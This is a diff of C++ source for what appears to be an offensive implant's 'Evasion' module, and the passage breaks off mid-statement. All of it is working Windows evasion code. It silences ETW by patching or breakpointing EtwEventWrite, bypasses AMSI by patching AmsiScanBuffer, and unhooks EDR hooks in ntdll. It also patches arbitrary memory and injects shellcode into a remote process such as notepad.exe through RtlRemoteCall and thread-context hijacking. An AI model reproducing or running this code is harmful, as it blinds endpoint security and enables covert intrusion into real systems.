ExceptionInfo->ExceptionRecord->ExceptionAddress); - - /* - Windows ARM64 calling convention: - first 8 integer/pointer args are in x0-x7. - In CONTEXT, they are exposed as X0, X1, X2... - */ - - printf("(1): %#llx | ", ExceptionInfo->ContextRecord->X0); - printf("(2): %#llx | ", ExceptionInfo->ContextRecord->X1); - printf("(3): %#llx | ", ExceptionInfo->ContextRecord->X2); - printf("(4): %#llx | ", ExceptionInfo->ContextRecord->X3); - printf("SP = %#llx\n", ExceptionInfo->ContextRecord->Sp); - - printf("EtwEventWrite called!\n"); - - /* - ARM64 has no EFlags/RF equivalent. - For single-step traps, continuation depends on how you enabled - the trap. There is no: - ContextRecord->EFlags |= (1 << 16) - on ARM64. - */ - - return EXCEPTION_CONTINUE_EXECUTION; - } - -#else - #error Unsupported architecture -#endif - - return EXCEPTION_CONTINUE_SEARCH; -} - - -int disableETW(void) -{ - bool isPatchEtw = false; - bool isHwBp = true; - if(isPatchEtw) - { - unsigned char sEtwEventWrite[] = "EtwEventWrite"; - void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite); - - DWORD oldprotect = 0; - // do you crash if the code is executed while not executable? - VirtualProtect(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); - - #ifdef _WIN64 - memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret - #else - memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 - #endif - - VirtualProtect(pEventWrite, 4096, oldprotect, &oldprotect); - FlushInstructionCache(GetCurrentProcess(), pEventWrite, 4096); - } - // TODO - else if(isHwBp) - { - AddVectoredExceptionHandler(0, &handlerETW); - - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); - DWORD64 dword64Address = reinterpret_cast(baseAddress); - - SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); - } - - return 0; -} - - -std::string hookChecker(const HMODULE hHookedDll, const LPVOID pMapping) -{ - // Get information from about function from the mapping of the new dll - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); - - std::string hookedFunctions; - if (pImgNTHead->Signature != IMAGE_NT_SIGNATURE) - { - return hookedFunctions; - } - - PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pMapping + pImgNTHead->OptionalHeader.DataDirectory[0].VirtualAddress); - - PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfFunctions); - PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNames); - PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNameOrdinals); - - for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) - { - PCHAR pczFunctionName = (PCHAR)((PBYTE)pMapping + pdwAddressOfNames[cx]); - PVOID pFunctionAddress = (PBYTE)pMapping + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; - - PVOID pFunctionAddressHookedDll = (PBYTE)hHookedDll + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; - - if (*((PBYTE)pFunctionAddress) == *((PBYTE)pFunctionAddressHookedDll) - && *((PBYTE)pFunctionAddress + 1) == *((PBYTE)pFunctionAddressHookedDll + 1) - && *((PBYTE)pFunctionAddress + 2) == *((PBYTE)pFunctionAddressHookedDll + 2) - && *((PBYTE)pFunctionAddress + 3) == *((PBYTE)pFunctionAddressHookedDll + 3) - && *((PBYTE)pFunctionAddress + 6) == *((PBYTE)pFunctionAddressHookedDll + 6) - && *((PBYTE)pFunctionAddress + 7) == *((PBYTE)pFunctionAddressHookedDll + 7)) - { - // printf("[+] function %s clean\n", pczFunctionName); - } - else - { - std::string msg="[-] function "; - msg+=pczFunctionName; - msg+=" hooked\n"; - hookedFunctions+=msg; - } - } - - return hookedFunctions; -} - - -static int UnhookDll(const HMODULE hHookedDll, const LPVOID pMapping) -{ - // UnhookDll() finds .text segment of fresh loaded copy of dll and copies over the hooked one - DWORD oldprotect = 0; - PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; - PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); - - // find .text section - for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) - { - PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + - ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); - - if (!strcmp((char *) pImgSectionHead->Name, ".text")) - { - // prepare dll memory region for write permissions. - VirtualProtect((LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - PAGE_EXECUTE_READWRITE, - &oldprotect); - if (!oldprotect) - { - return -1; - } - - // copy fresh .text section into dll memory - memcpy( (LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize); - - // restore original protection settings of dll memory - VirtualProtect((LPVOID)((DWORD_PTR)hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), - pImgSectionHead->Misc.VirtualSize, - oldprotect, - &oldprotect); - - if (!oldprotect) - { - return -1; - } - return 0; - } - } - - return -1; -} - - -int findAndPatchStringInMemory(const char* target, const char* patch, void* exclusion = nullptr) -{ - SYSTEM_INFO sysInfo; - GetSystemInfo(&sysInfo); - - MEMORY_BASIC_INFORMATION mbi; - char* address = 0; - size_t targetLength = std::strlen(target); - size_t patchLength = std::strlen(patch); - - int nbPatchApplied = 0; - while (address < sysInfo.lpMaximumApplicationAddress) - { - if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // only check for read-write memory - if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READWRITE)) - { - char* buffer = new char[mbi.RegionSize]; - SIZE_T bytesRead; - if (ReadProcessMemory(GetCurrentProcess(), address, buffer, mbi.RegionSize, &bytesRead)) - { - for (size_t i = 0; i <= bytesRead - targetLength; ++i) - { - if (std::memcmp(buffer + i, target, targetLength) == 0 && (exclusion == nullptr || address + i != exclusion)) - { - memcpy( (void*)(address + i), (void*)(patch), patchLength); - nbPatchApplied++; - } - } - } - delete[] buffer; - } - } - address += mbi.RegionSize; - } - return nbPatchApplied; -} - - -void* findStringInMemory(const char* target, void* startAddress, int lenght) -{ - char* address = (char*)startAddress; - size_t targetLength = std::strlen(target); - - for (size_t i = 0; i <= lenght - targetLength; ++i) - { - if (std::memcmp(address + i, target, targetLength) == 0) - { - return (void*)(address+i); - } - } - return nullptr; -} - - + printf("[!] Exception (%p)! Params:\n", + ExceptionInfo->ExceptionRecord->ExceptionAddress); + + /* + Windows ARM64 calling convention: + first 8 integer/pointer args are in x0-x7. + In CONTEXT, they are exposed as X0, X1, X2... + */ + + printf("(1): %#llx | ", ExceptionInfo->ContextRecord->X0); + printf("(2): %#llx | ", ExceptionInfo->ContextRecord->X1); + printf("(3): %#llx | ", ExceptionInfo->ContextRecord->X2); + printf("(4): %#llx | ", ExceptionInfo->ContextRecord->X3); + printf("SP = %#llx\n", ExceptionInfo->ContextRecord->Sp); + + printf("EtwEventWrite called!\n"); + + /* + ARM64 has no EFlags/RF equivalent. + For single-step traps, continuation depends on how you enabled + the trap. There is no: + ContextRecord->EFlags |= (1 << 16) + on ARM64. + */ + + return EXCEPTION_CONTINUE_EXECUTION; + } + +#else + #error Unsupported architecture +#endif + + return EXCEPTION_CONTINUE_SEARCH; +} + + +int disableETW(void) +{ + bool isPatchEtw = false; + bool isHwBp = true; + if(isPatchEtw) + { + unsigned char sEtwEventWrite[] = "EtwEventWrite"; + void * pEventWrite = GetProcAddress(GetModuleHandle("ntdll.dll"), (LPCSTR) sEtwEventWrite); + + DWORD oldprotect = 0; + // do you crash if the code is executed while not executable? + VirtualProtect(pEventWrite, 4096, PAGE_EXECUTE_READWRITE, &oldprotect); + + #ifdef _WIN64 + memcpy(pEventWrite, "\x48\x33\xc0\xc3", 4); // xor rax, rax; ret + #else + memcpy(pEventWrite, "\x33\xc0\xc2\x14\x00", 5); // xor eax, eax; ret 14 + #endif + + VirtualProtect(pEventWrite, 4096, oldprotect, &oldprotect); + FlushInstructionCache(GetCurrentProcess(), pEventWrite, 4096); + } + // TODO + else if(isHwBp) + { + AddVectoredExceptionHandler(0, &handlerETW); + + BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "EtwEventWrite"); + DWORD64 dword64Address = reinterpret_cast(baseAddress); + + SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); + } + + return 0; +} + + +std::string hookChecker(const HMODULE hHookedDll, const LPVOID pMapping) +{ + // Get information from about function from the mapping of the new dll + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); + + std::string hookedFunctions; + if (pImgNTHead->Signature != IMAGE_NT_SIGNATURE) + { + return hookedFunctions; + } + + PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pMapping + pImgNTHead->OptionalHeader.DataDirectory[0].VirtualAddress); + + PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfFunctions); + PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNames); + PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pMapping + pImageExportDirectory->AddressOfNameOrdinals); + + for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) + { + PCHAR pczFunctionName = (PCHAR)((PBYTE)pMapping + pdwAddressOfNames[cx]); + PVOID pFunctionAddress = (PBYTE)pMapping + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + PVOID pFunctionAddressHookedDll = (PBYTE)hHookedDll + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; + + if (*((PBYTE)pFunctionAddress) == *((PBYTE)pFunctionAddressHookedDll) + && *((PBYTE)pFunctionAddress + 1) == *((PBYTE)pFunctionAddressHookedDll + 1) + && *((PBYTE)pFunctionAddress + 2) == *((PBYTE)pFunctionAddressHookedDll + 2) + && *((PBYTE)pFunctionAddress + 3) == *((PBYTE)pFunctionAddressHookedDll + 3) + && *((PBYTE)pFunctionAddress + 6) == *((PBYTE)pFunctionAddressHookedDll + 6) + && *((PBYTE)pFunctionAddress + 7) == *((PBYTE)pFunctionAddressHookedDll + 7)) + { + // printf("[+] function %s clean\n", pczFunctionName); + } + else + { + std::string msg="[-] function "; + msg+=pczFunctionName; + msg+=" hooked\n"; + hookedFunctions+=msg; + } + } + + return hookedFunctions; +} + + +static int UnhookDll(const HMODULE hHookedDll, const LPVOID pMapping) +{ + // UnhookDll() finds .text segment of fresh loaded copy of dll and copies over the hooked one + DWORD oldprotect = 0; + PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping; + PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew); + + // find .text section + for (int i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) + { + PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + + ((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i)); + + if (!strcmp((char *) pImgSectionHead->Name, ".text")) + { + // prepare dll memory region for write permissions. + VirtualProtect((LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + PAGE_EXECUTE_READWRITE, + &oldprotect); + if (!oldprotect) + { + return -1; + } + + // copy fresh .text section into dll memory + memcpy( (LPVOID)((DWORD_PTR) hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + (LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize); + + // restore original protection settings of dll memory + VirtualProtect((LPVOID)((DWORD_PTR)hHookedDll + (DWORD_PTR) pImgSectionHead->VirtualAddress), + pImgSectionHead->Misc.VirtualSize, + oldprotect, + &oldprotect); + + if (!oldprotect) + { + return -1; + } + return 0; + } + } + + return -1; +} + + +int findAndPatchStringInMemory(const char* target, const char* patch, void* exclusion = nullptr) +{ + SYSTEM_INFO sysInfo; + GetSystemInfo(&sysInfo); + + MEMORY_BASIC_INFORMATION mbi; + char* address = 0; + size_t targetLength = std::strlen(target); + size_t patchLength = std::strlen(patch); + + int nbPatchApplied = 0; + while (address < sysInfo.lpMaximumApplicationAddress) + { + if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) + { + // only check for read-write memory + if (mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READWRITE)) + { + char* buffer = new char[mbi.RegionSize]; + SIZE_T bytesRead; + if (ReadProcessMemory(GetCurrentProcess(), address, buffer, mbi.RegionSize, &bytesRead)) + { + for (size_t i = 0; i <= bytesRead - targetLength; ++i) + { + if (std::memcmp(buffer + i, target, targetLength) == 0 && (exclusion == nullptr || address + i != exclusion)) + { + memcpy( (void*)(address + i), (void*)(patch), patchLength); + nbPatchApplied++; + } + } + } + delete[] buffer; + } + } + address += mbi.RegionSize; + } + return nbPatchApplied; +} + + +void* findStringInMemory(const char* target, void* startAddress, int lenght) +{ + char* address = (char*)startAddress; + size_t targetLength = std::strlen(target); + + for (size_t i = 0; i <= lenght - targetLength; ++i) + { + if (std::memcmp(address + i, target, targetLength) == 0) + { + return (void*)(address+i); + } + } + return nullptr; +} + + LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo) { if (EXCEPTION_CODE(ExceptionInfo) == HWBP_EXCEPTION_CODE) @@ -869,590 +917,590 @@ LONG WINAPI handlerAmsi(EXCEPTION_POINTERS * ExceptionInfo) #if defined(_M_X64) if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { - - // continue the execution - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution - //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer - return EXCEPTION_CONTINUE_EXECUTION; - } + + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + //ExceptionInfo->ContextRecord->Rip++; // or skip the breakpoint via instruction pointer + return EXCEPTION_CONTINUE_EXECUTION; + } #elif defined(_M_IX86) if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) { - // continue the execution - ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution - return EXCEPTION_CONTINUE_EXECUTION; - } + // continue the execution + ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // set RF (Resume Flag) to continue execution + return EXCEPTION_CONTINUE_EXECUTION; + } #elif defined(_M_ARM64) if (EXCEPTION_HIT_ADDRESS(ExceptionInfo, baseAddress)) - { - /* - ARM64 has no EFlags/RF equivalent. - For single-step traps, continuation depends on how you enabled - the trap. There is no: - ContextRecord->EFlags |= (1 << 16) - on ARM64. - */ - return EXCEPTION_CONTINUE_EXECUTION; - } -#else - #error Unsupported architecture -#endif - - } - return EXCEPTION_CONTINUE_SEARCH; -} - - -int Evasion::amsiBypass(std::string& result) -{ - bool isPatchContext = false; - bool isHwBp = false; - bool codePatch = true; - // only work for the curent thread which is not ideal - if(isPatchContext) - { - string target = "AMSI\0\0\0\0"; - string patch = "ASM"; - int nbPatchApplied = findAndPatchStringInMemory(target.c_str(), patch.c_str(), (void*)(&target)); - - if(nbPatchApplied) - result+="Success"; - else - result+="Failed"; - } - // only work for the curent thread which is not ideal - else if(isHwBp) - { - AddVectoredExceptionHandler(1, &handlerAmsi); - - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - DWORD64 dword64Address = reinterpret_cast(baseAddress); - - SetHWBP(GetCurrentThread(), (DWORD64) dword64Address, TRUE); - } - else if(codePatch) - { - std::string target = "AMSI"; - BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("amsi.dll"), "AmsiScanBuffer"); - int lenght = 0x100; - - void* address = findStringInMemory(target.c_str(), (void*)baseAddress, lenght); - - if(address) - { - DWORD oldprotect = 0; - VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); - - std::string patch = "ASMI"; - memcpy( (void*)(address), (void*)(patch.c_str()), patch.size()); - - VirtualProtect(address, 1024, oldprotect, &oldprotect); - result+="Success"; - } - else - { - result+="Failed"; - } - } - - return 1; -} - - -std::string wstringToString(const std::wstring& wstr) -{ - std::wstring_convert> converter; - return converter.to_bytes(wstr); -} - - -#if defined(_M_ARM64) - #define PEB_OFFSET 0x60 - #define READ_TEB() ((void*)__getReg(18)) - -#elif defined(_M_X64) - #define PEB_OFFSET 0x60 - #define READ_TEB() ((void*)__readgsqword(0x30)) - -#elif defined(_M_IX86) - #define PEB_OFFSET 0x30 - #define READ_TEB() ((void*)__readfsdword(0x18)) - -#else - #error Unsupported architecture -#endif - - -static void* GetPeb(void) -{ - unsigned char* teb = (unsigned char*)READ_TEB(); - return *(void**)(teb + PEB_OFFSET); -} - - -std::string EnumerateLoadedModules() -{ - // Get the PEB address - PPEB pPEB = (PPEB)GetPeb(); - - // Get the PEB_LDR_DATA structure - PPEB_LDR_DATA pLdr = pPEB->LoaderData; - - // Traverse the InLoadOrderModuleList - PLIST_ENTRY pListHead = &pLdr->InLoadOrderModuleList; - PLIST_ENTRY pListEntry = pListHead->Flink; - - std::string loadedModules; - while (pListEntry != pListHead) - { - PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); - loadedModules += wstringToString(pEntry->FullDllName.Buffer); - loadedModules += "\n"; - pListEntry = pListEntry->Flink; - } - - return loadedModules; -} - - -std::string EnumerateExports(const char* moduleName) -{ - // Get the base address of the module - BYTE* baseAddress = (BYTE*)GetModuleHandleA(moduleName); - if (!baseAddress) - { - return "Failed to get module handle"; - } - - // Get the DOS header - IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress; - // Get the NT headers - IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew); - - // Get the export directory - IMAGE_DATA_DIRECTORY exportDirectory = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + exportDirectory.VirtualAddress); - - // Get the addresses of the functions, names, and ordinals - DWORD* functions = (DWORD*)(baseAddress + exportDir->AddressOfFunctions); - DWORD* names = (DWORD*)(baseAddress + exportDir->AddressOfNames); - WORD* ordinals = (WORD*)(baseAddress + exportDir->AddressOfNameOrdinals); - - // Enumerate the exported functions - std::string exportedFunctions; - for (DWORD i = 0; i < exportDir->NumberOfNames; i++) - { - const char* functionName = (const char*)(baseAddress + names[i]); - DWORD64 functionAddress = (DWORD64)(baseAddress + functions[ordinals[i]]); - - std::stringstream ss; - ss << "0x" << std::hex << functionAddress; - std::string hexAddress = ss.str(); - - exportedFunctions += functionName; - exportedFunctions += " at address: "; - exportedFunctions += hexAddress; - exportedFunctions += "\n"; - } - - return exportedFunctions; -} - - -int Evasion::introspection(std::string& result, std::string& moduleName) -{ - if(moduleName.size()>0) - result = EnumerateExports(moduleName.c_str()); - else - result = EnumerateLoadedModules(); - return 0; -} - - -void* hexStringToPointer(const std::string& hexString) -{ - // Convert the hex string to an unsigned long long - unsigned long long address = std::stoull(hexString, nullptr, 16); - // Cast the address to a void* pointer - return reinterpret_cast(address); -} - - -std::string hexStringToBytes(const std::string& hexString) -{ - std::string bytes; - for (size_t i = 0; i < hexString.length(); i += 4) - { - // Extract the hex byte (skip the "\x" prefix) - std::string hexByte = hexString.substr(i + 2, 2); - // Convert the hex byte to an integer - unsigned int byte; - std::stringstream ss; - ss << std::hex << hexByte; - ss >> byte; - // Append the byte to the result string - bytes.push_back(static_cast(byte)); - } - return bytes; -} - -std::string stringToHexFormat(const std::string& input) -{ - std::ostringstream oss; - for (unsigned char c : input) - { - oss << "\\x" << std::hex << std::setw(2) << std::setfill('0') << static_cast(c); - } - return oss.str(); -} - - -// hexAddress: 0x12345678 -// patch: \x90\x90\x90\x90 -int Evasion::patchMemory(std::string& result, const std::string& hexAddress, const std::string& patch) -{ - void* address = hexStringToPointer(hexAddress); - std::string bytes = hexStringToBytes(patch); - - MEMORY_BASIC_INFORMATION mbi; - size_t patchLength = std::strlen(bytes.c_str()); - - if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // check if write memory - if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) - { - memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); - } - else - { - DWORD oldprotect = 0; - VirtualProtect(address, 1024, PAGE_READWRITE, &oldprotect); - - memcpy( (void*)(address), (void*)(bytes.c_str()), patchLength); - - VirtualProtect(address, 1024, oldprotect, &oldprotect); - } - } - - return 0; -} - - -int Evasion::readMemory(std::string& result, const std::string& hexAddress, const int size) -{ - void* address = hexStringToPointer(hexAddress); - MEMORY_BASIC_INFORMATION mbi; - SIZE_T bytesRead = 0; - - if (VirtualQuery(address, &mbi, sizeof(mbi)) == sizeof(mbi)) - { - // check if read memory - if (mbi.State == MEM_COMMIT && ((mbi.Protect & PAGE_READONLY) || (mbi.Protect & PAGE_READWRITE) || (mbi.Protect & PAGE_EXECUTE_READ) || (mbi.Protect & PAGE_EXECUTE_READWRITE))) - { - char* buffer = new char[size]; - if (ReadProcessMemory(GetCurrentProcess(), address, buffer, size, &bytesRead)) - { - result = stringToHexFormat(buffer); - } - delete[] buffer; - } - } - - return 0; -} - - -// -// Remote patching -// -int FindTarget(const char *procname) -{ - HANDLE hProcSnap; - PROCESSENTRY32 pe32; - int pid = 0; - - hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (INVALID_HANDLE_VALUE == hProcSnap) return 0; - - pe32.dwSize = sizeof(PROCESSENTRY32); - - if (!Process32First(hProcSnap, &pe32)) - { - CloseHandle(hProcSnap); - return 0; - } - - while (Process32Next(hProcSnap, &pe32)) - { - if (lstrcmpiA(procname, pe32.szExeFile) == 0) - { - pid = pe32.th32ProcessID; - break; - } - } - - CloseHandle(hProcSnap); - - return pid; -} - - -int FindThreadID(int pid) -{ - int tid = 0; - THREADENTRY32 thEntry; - - thEntry.dwSize = sizeof(thEntry); - HANDLE Snap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); - - while (Thread32Next(Snap, &thEntry)) - { - if (thEntry.th32OwnerProcessID == pid) - { - tid = thEntry.th32ThreadID; - break; - } - } - CloseHandle(Snap); - - return tid; -} - - -#define RETVAL_TAG 0xAABBCCDD -typedef NTSTATUS (NTAPI * RtlRemoteCall_t)(HANDLE Process, HANDLE Thread, PVOID CallSite, ULONG ArgumentCount, PULONG Arguments, BOOLEAN PassContext, BOOLEAN AlreadySuspended); -typedef NTSTATUS (NTAPI * NtContinue_t)(PCONTEXT ThreadContext, BOOLEAN RaiseAlert); -typedef BOOL (WINAPI * VirtualProtect_t)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); -typedef BOOL (WINAPI * WriteProcessMemory_t)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); - - -typedef struct _API_REMOTE_CALL -{ - // remote API call return value - size_t retval; - - // standard function to call at the end of the shellcode - NtContinue_t ntContinue; - CONTEXT context; - - // remote function to call - adjust the types! - VirtualProtect_t ARK_func1; - PVOID address; - SIZE_T size; - DWORD newProtect; - DWORD oldProtect; - - WriteProcessMemory_t ARK_func2; - HANDLE process; - char patch[10]; - SIZE_T sizePatch; - SIZE_T numberOfBytesWritten; - -} ApiReeKall; - - -void SHELLCODE(ApiReeKall * ark) -{ - size_t ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->newProtect, &ark->oldProtect); - ret = (size_t) ark->ARK_func2(ark->process, ark->address, (void*)&ark->patch, ark->sizePatch, &ark->numberOfBytesWritten); - ret = (size_t) ark->ARK_func1(ark->address, ark->size, ark->oldProtect, &ark->oldProtect); - ark->retval = ret; - ark->ntContinue(&ark->context, 0); -} -void SHELLCODE_END(void) {} - - -size_t MakeReeKall(HANDLE hProcess, HANDLE hThread, ApiReeKall ark) -{ - char prolog[] = { 0x49, 0x8b, 0xcc, // mov rcx, r12 - 0x49, 0x8b, 0xd5, // mov rdx, r13 - 0x4d, 0x8b, 0xc6, // mov r8, r14 - 0x4d, 0x8b, 0xcf // mov r9, r15 - }; - int prolog_size = sizeof(prolog); - - // resolve needed API pointers - RtlRemoteCall_t pRtlRemoteCall = (RtlRemoteCall_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlRemoteCall"); - NtContinue_t pNtContinue = (NtContinue_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtContinue"); - - if (pRtlRemoteCall == NULL || pNtContinue == NULL) - return -1; - - // allocate some space in the target for our shellcode - void * remote_mem = VirtualAllocEx(hProcess, 0, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); - if (remote_mem == NULL) - return -1; - - // calculate the size of our shellcode - size_t sc_size = (size_t) SHELLCODE_END - (size_t) SHELLCODE; - - size_t bOut = 0; -#ifdef _WIN64 - // first, write prolog, if the process is 64-bit - if (WriteProcessMemory(hProcess, remote_mem, prolog, prolog_size, (SIZE_T *) &bOut) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - return -1; - } -#else - // otherwise, ignore the prolog - prolog_size = 0; -#endif - - // write the main payload - if (WriteProcessMemory(hProcess, (char *) remote_mem + prolog_size, &SHELLCODE, sc_size, (SIZE_T *) &bOut) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - return -1; - } - - // set remaining data in ApiReeKall struct - NtContinue with a thread context we're hijacking - ark.retval = RETVAL_TAG; - ark.ntContinue = pNtContinue; - ark.context.ContextFlags = CONTEXT_FULL; - SuspendThread(hThread); - GetThreadContext(hThread, &ark.context); - - // prepare an argument to be passed to our shellcode - ApiReeKall * ark_arg; - ark_arg = (ApiReeKall *) ((size_t) remote_mem + prolog_size + sc_size + ((size_t) remote_mem + prolog_size + sc_size)%0x10); // align to 0x10 - if (WriteProcessMemory(hProcess, ark_arg, &ark, sizeof(ApiReeKall), 0) == 0) - { - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - ResumeThread(hThread); - return -1; - } - - NTSTATUS status = pRtlRemoteCall(hProcess, hThread, remote_mem, 1, (PULONG) &ark_arg, 1, 1); - ResumeThread(hThread); - - // get the remote API call return value - size_t ret = 0; - while(TRUE) - { - Sleep(1000); - ReadProcessMemory(hProcess, ark_arg, &ret, sizeof(size_t), (SIZE_T *) &bOut); - if (ret != RETVAL_TAG) - break; - } - - // dealloc the shellcode memory to remove suspicious artifacts - VirtualFreeEx(hProcess, remote_mem, 0, MEM_RELEASE); - - return ret; -} - - -int Evasion::remotePatch(std::string& result) -{ - bool isRemotePatchReeKall = false; - bool isRemotePatchDirect = true; - if(isRemotePatchReeKall) - { - std::string process = "notepad.exe"; - std::string moduleName = "ntdll.dll"; - std::string target = "EtwEventWrite"; - std::string patch = "\x48\x33\xc0\xc3"; - int offset = 0; - - DWORD pid = FindTarget(process.c_str()); - if (pid == 0) - { - result += "Could not find target process."; - return -1; - } - - DWORD tid = FindThreadID(pid); - if (tid == 0) - { - result += "Could not find a thread."; - return -1; - } - - // open both process and thread in the remote target - HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid); - HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, 0, tid); - if (hProcess == NULL || hThread == NULL) - { - result += "Error opening remote process and thread."; - return -1; - } - - // prepare patching ApiReeKall struct - ApiReeKall ark = { 0 }; - ark.ARK_func1 = (VirtualProtect_t) GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect"); - FARPROC procAddress = GetProcAddress(LoadLibrary(moduleName.c_str()), target.c_str()); - ark.address = reinterpret_cast(procAddress) + offset; - ark.size = 1024; - ark.newProtect = PAGE_READWRITE; - ark.oldProtect = 0; - - ark.ARK_func2 = (WriteProcessMemory_t) GetProcAddress(LoadLibrary("kernel32.dll"), "WriteProcessMemory"); - ark.process = (HANDLE)-1; - memcpy(ark.patch, patch.c_str(), patch.size()); - ark.sizePatch = patch.size(); - ark.numberOfBytesWritten = 0; - - size_t ret = MakeReeKall(hProcess, hThread, ark); - if(ret==-1) - { - result += "Failed"; - } - else - { - result += 